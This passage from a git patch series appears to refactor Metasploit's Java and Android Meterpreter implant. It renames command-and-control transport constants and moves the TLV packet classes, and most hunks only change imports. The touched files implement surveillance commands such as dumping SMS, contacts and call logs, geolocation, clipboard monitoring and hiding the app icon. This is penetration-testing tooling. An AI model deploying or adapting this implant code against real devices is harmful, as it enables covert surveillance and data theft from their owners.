request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_WAIT); t.setRetryWait(retryWait); } catch (IllegalArgumentException ex) { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java index e8055c42d..a118dca68 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java @@ -14,45 +14,45 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons Transport t = first; // add the session expiry - response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry()); + response.add(TLVType.TLV_TYPE_SESSION_EXPIRY, (int)meterpreter.getExpiry()); do { TLVPacket transportData = new TLVPacket(); - transportData.add(TLVType.TLV_TYPE_TRANS_URL, t.getUrl()); - transportData.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)t.getCommTimeout()); - transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)t.getRetryTotal()); - transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)t.getRetryWait()); + transportData.add(TLVType.TLV_TYPE_C2_URL, t.getUrl()); + transportData.add(TLVType.TLV_TYPE_C2_COMM_TIMEOUT, (int)t.getCommTimeout()); + transportData.add(TLVType.TLV_TYPE_C2_RETRY_TOTAL, (int)t.getRetryTotal()); + transportData.add(TLVType.TLV_TYPE_C2_RETRY_WAIT, (int)t.getRetryWait()); if (t instanceof HttpTransport) { HttpTransport h = (HttpTransport)t; if (h.getUserAgent().length() > 0) { - transportData.add(TLVType.TLV_TYPE_TRANS_UA, h.getUserAgent()); + transportData.add(TLVType.TLV_TYPE_C2_UA, h.getUserAgent()); } if (h.getProxy().length() > 0) { - transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_HOST, h.getProxy()); + transportData.add(TLVType.TLV_TYPE_C2_PROXY_HOST, h.getProxy()); } if (h.getProxyUser().length() > 0) { - transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_USER, h.getProxyUser()); + transportData.add(TLVType.TLV_TYPE_C2_PROXY_USER, h.getProxyUser()); } if (h.getProxyPass().length() > 0) { - transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_PASS, h.getProxyPass()); + transportData.add(TLVType.TLV_TYPE_C2_PROXY_PASS, h.getProxyPass()); } if (h.getCertHash() != null) { - transportData.add(TLVType.TLV_TYPE_TRANS_CERT_HASH, h.getCertHash()); + transportData.add(TLVType.TLV_TYPE_C2_CERT_HASH, h.getCertHash()); } if (h.getCustomHeaders() != null) { - transportData.add(TLVType.TLV_TYPE_TRANS_HEADERS, h.getCustomHeaders()); + transportData.add(TLVType.TLV_TYPE_C2_HEADERS, h.getCustomHeaders()); } } - response.addOverflow(TLVType.TLV_TYPE_TRANS_GROUP, transportData); + response.addOverflow(TLVType.TLV_TYPE_C2, transportData); t = t.getNext(); } while (t != first); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java index 8e1d4af1d..60dd05022 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java @@ -17,7 +17,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons return ERROR_FAILURE; } - String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); + String transportUrl = request.getStringValue(TLVType.TLV_TYPE_C2_URL); Transport found = null; do { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java index 1e5d7062b..101efeca9 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java @@ -12,7 +12,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons Transport currentTransport = meterpreter.getTransports().current(); try { - long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP); + long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); meterpreter.setExpiry(sessionExpiry); } catch (IllegalArgumentException ex) { @@ -20,7 +20,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT); + long commTimeout = request.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT); currentTransport.setCommTimeout(commTimeout); } catch (IllegalArgumentException ex) { @@ -28,7 +28,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL); + long retryTotal = request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_TOTAL); currentTransport.setRetryTotal(retryTotal); } catch (IllegalArgumentException ex) { @@ -36,17 +36,17 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT); + long retryWait = request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_WAIT); currentTransport.setRetryWait(retryWait); } catch (IllegalArgumentException ex) { // retry wait not specified } - response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry()); - response.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)currentTransport.getCommTimeout()); - response.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)currentTransport.getRetryTotal()); - response.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)currentTransport.getRetryWait()); + response.add(TLVType.TLV_TYPE_SESSION_EXPIRY, (int)meterpreter.getExpiry()); + response.add(TLVType.TLV_TYPE_C2_COMM_TIMEOUT, (int)currentTransport.getCommTimeout()); + response.add(TLVType.TLV_TYPE_C2_RETRY_TOTAL, (int)currentTransport.getRetryTotal()); + response.add(TLVType.TLV_TYPE_C2_RETRY_WAIT, (int)currentTransport.getRetryWait()); return ERROR_SUCCESS; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java index 687c8c8c0..2641aa77d 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java @@ -12,7 +12,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons int result = EXIT_DISPATCH; try { - long sleep = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT) * Transport.MS; + long sleep = request.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT) * Transport.MS; meterpreter.getTransports().setNext(meterpreter.getTransports().current(), sleep); } catch (Exception ex) { From 9d0471340f78d04824ea0fa7673c976d4fefbcf5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 24 Sep 2025 17:32:21 -0400 Subject: [PATCH 17/24] Refactor to move TLVPacket and TLVType --- .../com/metasploit/meterpreter/CellCollector.java | 2 ++ .../src/com/metasploit/meterpreter/ClipManager.java | 3 +++ .../metasploit/meterpreter/GeolocationCollector.java | 2 ++ .../metasploit/meterpreter/IntervalCollector.java | 3 +++ .../com/metasploit/meterpreter/WifiCollector.java | 2 ++ .../meterpreter/android/android_activity_start.java | 3 +-- .../meterpreter/android/android_channel_open.java | 4 ++-- .../meterpreter/android/android_check_root.java | 2 +- .../meterpreter/android/android_dump_calllog.java | 2 +- .../meterpreter/android/android_dump_contacts.java | 4 ++-- .../meterpreter/android/android_dump_sms.java | 2 +- .../meterpreter/android/android_geolocate.java | 2 +- .../meterpreter/android/android_hide_app_icon.java | 3 ++- .../android/android_interval_collect.java | 3 +-- .../meterpreter/android/android_send_sms.java | 2 +- .../meterpreter/android/android_set_audio_mode.java | 3 ++- .../meterpreter/android/android_set_wallpaper.java | 2 +- .../meterpreter/android/android_sqlite_query.java | 2 +- .../meterpreter/android/android_wakelock.java | 5 +++-- .../meterpreter/android/android_wlan_geolocate.java | 2 +- .../meterpreter/android/appapi_app_install.java | 2 +- .../meterpreter/android/appapi_app_list.java | 2 +- .../meterpreter/android/appapi_app_run.java | 2 +- .../meterpreter/android/appapi_app_uninstall.java | 2 +- .../meterpreter/android/clipboard_get_data.java | 4 ++-- .../meterpreter/android/clipboard_monitor_dump.java | 2 +- .../meterpreter/android/clipboard_monitor_pause.java | 2 +- .../meterpreter/android/clipboard_monitor_purge.java | 2 +- .../android/clipboard_monitor_resume.java | 2 +- .../meterpreter/android/clipboard_monitor_start.java | 2 +- .../meterpreter/android/clipboard_monitor_stop.java | 2 +- .../meterpreter/android/clipboard_set_data.java | 4 ++-- .../android/stdapi_sys_config_getuid.java | 4 ++-- .../android/stdapi_sys_config_sysinfo_android.java | 4 ++-- .../stdapi_sys_process_get_processes_android.java | 4 ++-- .../android/stdapi_sys_process_getpid_android.java | 4 ++-- .../android/stdapi_ui_desktop_screenshot.java | 4 ++-- .../android/stdapi_webcam_audio_record_android.java | 2 +- .../android/webcam_get_frame_android.java | 2 +- .../meterpreter/android/webcam_list_android.java | 2 +- .../meterpreter/android/webcam_start_android.java | 2 +- .../meterpreter/android/webcam_stop_android.java | 2 +- .../java/com/metasploit/meterpreter/Channel.java | 2 ++ .../com/metasploit/meterpreter/CommandManager.java | 2 ++ .../com/metasploit/meterpreter/HttpTransport.java | 2 ++ .../java/com/metasploit/meterpreter/Meterpreter.java | 4 ++-- .../com/metasploit/meterpreter/TcpTransport.java | 2 ++ .../java/com/metasploit/meterpreter/Transport.java | 1 + .../com/metasploit/meterpreter/command/Command.java | 2 +- .../command/NotYetImplementedCommand.java | 4 ++-- .../command/UnsupportedJavaVersionCommand.java | 2 +- .../meterpreter/core/core_channel_close.java | 4 ++-- .../meterpreter/core/core_channel_eof.java | 4 ++-- .../meterpreter/core/core_channel_interact.java | 4 ++-- .../meterpreter/core/core_channel_read.java | 4 ++-- .../meterpreter/core/core_channel_write.java | 4 ++-- .../metasploit/meterpreter/core/core_enumextcmd.java | 4 ++-- .../meterpreter/core/core_get_session_guid.java | 4 ++-- .../metasploit/meterpreter/core/core_loadlib.java | 4 ++-- .../metasploit/meterpreter/core/core_machine_id.java | 4 ++-- .../meterpreter/core/core_native_arch.java | 4 ++-- .../core/core_negotiate_tlv_encryption.java | 4 ++-- .../metasploit/meterpreter/core/core_patch_url.java | 4 ++-- .../meterpreter/core/core_set_session_guid.java | 4 ++-- .../metasploit/meterpreter/core/core_set_uuid.java | 4 ++-- .../metasploit/meterpreter/core/core_shutdown.java | 2 +- .../meterpreter/core/core_transport_add.java | 4 ++-- .../meterpreter/core/core_transport_change.java | 2 +- .../meterpreter/core/core_transport_list.java | 4 ++-- .../meterpreter/core/core_transport_next.java | 2 +- .../meterpreter/core/core_transport_prev.java | 2 +- .../meterpreter/core/core_transport_remove.java | 4 ++-- .../core/core_transport_set_timeouts.java | 4 ++-- .../meterpreter/core/core_transport_sleep.java | 4 ++-- .../src/main/java/com/metasploit}/TLVPacket.java | 2 +- .../src/main/java/com/metasploit}/TLVType.java | 2 +- .../meterpreter/DatagramSocketChannel.java | 2 ++ .../metasploit/meterpreter/ServerSocketChannel.java | 2 ++ .../metasploit/meterpreter/stdapi/HashCommand.java | 4 ++-- .../meterpreter/stdapi/stdapi_channel_open.java | 4 ++-- .../stdapi/stdapi_channel_open_V1_15.java | 5 ----- .../meterpreter/stdapi/stdapi_fs_chdir.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_delete_dir.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_delete_file.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_file_copy.java | 4 ++-- .../stdapi/stdapi_fs_file_expand_path.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_file_move.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_getwd.java | 4 ++-- .../metasploit/meterpreter/stdapi/stdapi_fs_ls.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_mkdir.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_search.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_separator.java | 4 ++-- .../meterpreter/stdapi/stdapi_fs_stat.java | 4 ++-- .../stdapi_net_config_get_interfaces_V1_4.java | 4 ++-- .../stdapi_net_config_get_interfaces_V1_6.java | 4 ++-- .../stdapi/stdapi_net_config_get_routes_V1_4.java | 4 ++-- .../meterpreter/stdapi/stdapi_net_resolve_host.java | 10 +++++----- .../meterpreter/stdapi/stdapi_net_resolve_hosts.java | 10 +++++----- .../stdapi/stdapi_net_socket_tcp_shutdown.java | 4 ++-- .../meterpreter/stdapi/stdapi_sys_config_getenv.java | 10 +++++----- .../meterpreter/stdapi/stdapi_sys_config_getuid.java | 4 ++-- .../stdapi/stdapi_sys_config_localtime.java | 10 +++++----- .../stdapi/stdapi_sys_config_sysinfo.java | 8 ++++---- .../meterpreter/stdapi/stdapi_sys_process_close.java | 2 ++ .../stdapi/stdapi_sys_process_execute.java | 12 ++++++------ .../stdapi/stdapi_sys_process_get_processes.java | 4 ++-- .../stdapi/stdapi_sys_process_getpid_V1_5.java | 8 ++++---- .../stdapi/stdapi_sys_process_getpid_V1_9.java | 8 ++++---- .../stdapi/stdapi_ui_desktop_screenshot_V1_4.java | 4 ++-- .../stdapi/stdapi_ui_send_keyevent_V1_4.java | 10 +++++----- .../stdapi/stdapi_ui_send_mouse_V1_4.java | 10 +++++----- .../stdapi/stdapi_webcam_audio_record_V1_4.java | 2 +- 112 files changed, 218 insertions(+), 195 deletions(-) rename java/meterpreter/{meterpreter/src/main/java/com/metasploit/meterpreter => shared/src/main/java/com/metasploit}/TLVPacket.java (99%) rename java/meterpreter/{meterpreter/src/main/java/com/metasploit/meterpreter => shared/src/main/java/com/metasploit}/TLVType.java (99%) diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java index b54fc782f..a13e9ad6f 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java @@ -1,5 +1,7 @@ package com.metasploit.meterpreter; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.android.android_interval_collect; import android.content.Context; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java b/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java index eb843f66a..0c42a8ce1 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java @@ -8,6 +8,9 @@ import android.os.Looper; import android.text.format.DateFormat; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; + import java.io.IOException; import java.util.Date; import java.util.LinkedList; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java index 22d30f9d4..c9c94e916 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java @@ -4,6 +4,8 @@ import android.location.Location; import android.location.LocationManager; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.android.android_interval_collect; import java.io.DataInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java index ef52a9749..276229ba2 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java @@ -2,6 +2,9 @@ import android.content.Context; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; + import java.io.ByteArrayOutputStream; import java.io.ByteArrayInputStream; import java.io.DataInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java index bb3107e23..2568cb627 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java @@ -8,6 +8,8 @@ import android.net.wifi.ScanResult; import android.net.wifi.WifiManager; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.android.android_interval_collect; import java.io.DataInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java index 3d3b53c14..350192f07 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java @@ -7,15 +7,14 @@ import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import java.net.URISyntaxException; import java.util.List; - public class android_activity_start implements Command { private static final int TLV_EXTENSIONS = 20000; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java index b6d5b0644..a67f3ce6a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java @@ -2,10 +2,10 @@ import android.media.MediaPlayer; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.NotYetImplementedCommand; import com.metasploit.meterpreter.stdapi.Loader; import com.metasploit.meterpreter.stdapi.stdapi_channel_open; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java index a572e6eb9..4aec1809e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java @@ -2,8 +2,8 @@ import java.io.File; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_check_root implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java index 6701e949d..8726e8c82 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java @@ -5,9 +5,9 @@ import android.database.Cursor; import android.provider.CallLog; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_dump_calllog implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java index 0ba1832b5..d87b37bc8 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java @@ -4,11 +4,11 @@ import android.database.Cursor; import android.net.Uri; import android.os.Build; - import android.provider.ContactsContract; + +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_dump_contacts implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java index 2a4b878e1..fdf42d45a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java @@ -3,9 +3,9 @@ import android.database.Cursor; import android.net.Uri; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_dump_sms implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java index 78be2bef3..420c823ad 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java @@ -4,9 +4,9 @@ import android.location.Location; import android.location.LocationManager; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_geolocate implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java index 373d7860f..e49d7d5e8 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java @@ -5,9 +5,10 @@ import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; + +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import java.util.List; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java index e80c4ed22..c3eb0ff2b 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java @@ -1,11 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.IntervalCollectionManager; import com.metasploit.meterpreter.IntervalCollector; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; - import com.metasploit.meterpreter.command.Command; public class android_interval_collect implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java index 5b5d368de..2fa958e9e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java @@ -9,9 +9,9 @@ import android.app.Activity; import android.content.Context; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java index 6a0deb858..817fada4d 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java @@ -2,9 +2,10 @@ import android.media.AudioManager; import android.content.Context; + +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_set_audio_mode implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java index 114cbe46b..daab159ae 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java @@ -3,9 +3,9 @@ import android.app.WallpaperManager; import android.content.Context; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import java.io.ByteArrayInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java index 27399ce68..d0dc3a083 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java @@ -4,9 +4,9 @@ import android.database.Cursor; import android.database.sqlite.SQLiteException; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_sqlite_query implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java index 61fbbf7f3..261d55651 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java @@ -2,10 +2,11 @@ import android.content.Context; import android.os.PowerManager; + +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class android_wakelock implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java index 6c1034ed4..ea1e2a099 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java @@ -17,9 +17,9 @@ import android.widget.Toast; import android.util.Log; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_wlan_geolocate implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java index d111f28a7..fb9ba8668 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java @@ -7,9 +7,9 @@ import java.io.File; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_install implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java index a5171f72b..28adb496e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java @@ -8,9 +8,9 @@ import java.util.List; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_list implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java index 3bd3e4684..3ae61fdca 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java @@ -4,9 +4,9 @@ import android.content.Intent; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_run implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java index 76da3466e..fea373b33 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java +++ 